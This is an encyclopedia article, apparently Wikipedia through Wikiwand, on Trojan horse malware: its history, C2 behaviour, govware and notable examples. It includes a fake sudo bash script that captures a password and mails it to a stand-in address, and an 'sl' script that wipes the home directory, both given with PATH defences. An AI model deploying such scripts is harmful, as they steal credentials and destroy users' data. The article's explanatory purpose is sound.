In computing, a Trojan horse (or simply Trojan) is any malware that misleads users of its true intent by disguising itself as a standard program. The term is derived from the ancient Greek story of the deceptive Trojan Horse that led to the fall of the city of Troy.[1]
Trojans are generally spread by some form of social engineering. For example, where a user is duped into executing an email attachment disguised to appear innocuous (e.g., a routine form to be filled in), or by clicking on a fake advertisement on social media or anywhere else. Although their payload can be anything, many modern forms act as a backdoor, contacting a controller who can then have unauthorized access to the affected computer.[2] Ransomware attacks are often carried out using a Trojan.
Unlike computer viruses and worms, Trojans generally do not attempt to inject themselves into other files or otherwise propagate themselves.[3]
Use of the term
It is not clear where or when the concept, and this term for it, was first used, but by 1971 the first Unix manual assumed its readers knew both.[4]
Another early reference is in a US Air Force report in 1974 on the analysis of vulnerability in the Multics computer systems.[5]
It was made popular by Ken Thompson in his 1983 Turing Award acceptance lecture "Reflections on Trusting Trust",[6] subtitled: "To what extent should one trust a statement that a program is free of Trojan horses? Perhaps it is more important to trust the people who wrote the software." He mentioned that he knew about the possible existence of Trojans from a report on the security of Multics.[7][8]
Behavior
Once installed, Trojans may perform a range of malicious actions. Many tend to contact one or more Command and Control (C2) servers across the Internet and await instruction. Since individual Trojans typically use a specific set of ports for this communication, it can be relatively simple to detect them. Moreover, other malware could potentially "take over" the Trojan, using it as a proxy for malicious action.[9]
In German-speaking countries, spyware used or made by the government is sometimes called govware. Govware is typically a Trojan software used to intercept communications from the target computer. Some countries like Switzerland and Germany have a legal framework governing the use of such software.[10][11] Examples of govware Trojans include the Swiss MiniPanzer and MegaPanzer[12] and the German "state Trojan" nicknamed R2D2.[10] German govware works by exploiting security gaps unknown to the general public and accessing smartphone data before it becomes encrypted via other applications.[13]
Due to the popularity of botnets among hackers and the availability of advertising services that permit authors to violate their users' privacy, Trojans are becoming more common. According to a survey conducted by BitDefender from January to June 2009, "Trojan-type malware is on the rise, accounting for 83% of the global malware detected in the world." Trojans have a relationship with worms, as they spread with the help given by worms and travel across the internet with them.[14] BitDefender has stated that approximately 15% of computers are members of a botnet, usually recruited by a Trojan infection.[15]
Recent investigations have revealed that the Trojan horse method has been used as an attack on cloud computing systems. A Trojan attack on cloud systems tries to insert an application or service into the system that can impact the cloud services by changing or stopping the functionalities. When the cloud system identifies the attacks as legitimate, the service or application is performed which can damage and infect the cloud system.[16]
Linux sudo example
A Trojan horse is a program that purports to perform some legitimate function, yet upon execution it compromises the user's security.[17] A simple example is the following malicious version of the Linux sudo command. An attacker would place this script in a publicly writable directory (e.g., /tmp
). If an administrator happens to be in this directory and executes sudo
, then the Trojan may execute, compromising the administrator's password.
#!/usr/bin/env bash
# Turn off the character echo to the screen. sudo does this to prevent the user's password from appearing on screen when they type it in.
stty -echo
# Prompt user for password and then read input. To disguise the nature of this malicious version, do this 3 times to imitate the behavior of sudo when a user enters the wrong password.
prompt_count=1
while [ $prompt_count -le 3 ]; do
echo -n "[sudo] password for $(whoami): "
read password_input
echo
sleep 3 # sudo will pause between repeated prompts
prompt_count=$(( prompt_count + 1 ))
done
# Turn the character echo back on.
stty echo
echo $password_input | mail -s "$(whoami)'s password" outside@creep.com
# Display sudo's actual error message and then delete self.
echo "sudo: 3 incorrect password attempts"
rm $0
exit 1 # sudo returns 1 with a failed password attempt
To prevent a sudo
Trojan horse, set the .
entry in the PATH
environment variable to be located at the tail end.[18] For example: PATH=/usr/local/bin:/usr/bin:.
.
Linux ls example
Having .
somewhere in the PATH is convenient, but there is a catch.[19] Another example is the following malicious version of the Linux ls command. However, the filename is not ls
; instead, it is sl
. An attacker would place this script in a publicly writable directory (e.g., /tmp
).
#!/usr/bin/env bash
# Remove the user's home directory, then remove self.
rm -fr ~ 2>/dev/null
rm $0
To prevent a malicious programmer from anticipating this common typing mistake:
- omit
.
in the PATH or alias sl=ls
[a]
Notable examples
Private and governmental
- ANOM – FBI
- 0zapftis / r2d2 StaatsTrojaner – DigiTask
- FinFisher – Lench IT solutions / Gamma International
- DaVinci / Galileo RCS – HackingTeam
- Magic Lantern – FBI
- SUNBURST – SVR/Cozy Bear (suspected)
- TAO QUANTUM/FOXACID – NSA
- WARRIOR PRIDE – GCHQ
Publicly available
- EGABTR – late 1980s
- Netbus – 1998 (published)[20]
- Sub7 by Mobman – 1999 (published)
- Back Orifice – 1998 (published)
- Y3K by Tselentis brothers – 2000 (published)
- Beast – 2002 (published)
- Bifrost Trojan – 2004 (published)
- DarkComet – 2008-2012 (published)
- Blackhole exploit kit – 2012 (published)
- Gh0st RAT – 2009 (published)
- MegaPanzer BundesTrojaner – 2009 (published)[21][22]
- MEMZ by Leurak – 2016 (published)
Detected by security researchers
- Twelve Tricks – 1990
- Clickbot.A – 2006 (discovered)
- Zeus – 2007 (discovered)
- Flashback Trojan – 2011 (discovered)
- ZeroAccess – 2011 (discovered)
- Koobface – 2008 (discovered)
- Vundo – 2009 (discovered)
- Coreflood – 2010 (discovered)
- Tiny Banker Trojan – 2012 (discovered)
- SOVA – 2022 (discovered)[23]
- Shedun Android malware – 2015 (discovered)[24][25][26][27][28][29]
Capitalization
The computer term "Trojan horse" is derived from the legendary Trojan Horse of the ancient city of Troy. For this reason "Trojan" is often capitalized. However, while style guides and dictionaries differ, many suggest a lower case "trojan" for normal use.[30][31]
See also
- Computer security – Protection of computer systems from information disclosure, theft or damage
- Cuckoo's egg (metaphor) – Metaphor for brood parasitism
- Cyber spying – Obtaining secrets using the Internet
- Dancing pigs – Users' disregard for IT security
- Exploit (computer security) – Method of attack on computer systems
- Industrial espionage – Use of espionage for commercial purposes rather than security
- Hardware Trojan – Malware embedded in hardware; harder to detect and fix than software vulnerabilities
- Phishing – Form of social engineering
- Principle of least privilege – Security by granting only essential access
- Privacy-invasive software – Computer software ignoring user privacy with a commercial intent
- Remote administration – Control & use of a computer from remote location
- Remote administration software – Desktop run remotely from local device
- Reverse connection – Network connection type ypass firewall restrictions on open ports
- Rogue security software – Form of malicious software
- Scammers – Attempt to defraud a person or group
- Technical support scam – Type of fraud and confidence trick
- Timeline of computer viruses and worms – Computer malware timeline
- Zombie (computer science) – Compromised computer used for malicious tasks on a network
References
Notes
External links
Wikiwand in your browser!
Seamless Wikipedia browsing. On steroids.
Every time you click a link to Wikipedia, Wiktionary or Wikiquote in your browser's search results, it will show the modern Wikiwand interface.
Wikiwand extension is a five stars, simple, with minimum permission required to keep your browsing private, safe and transparent.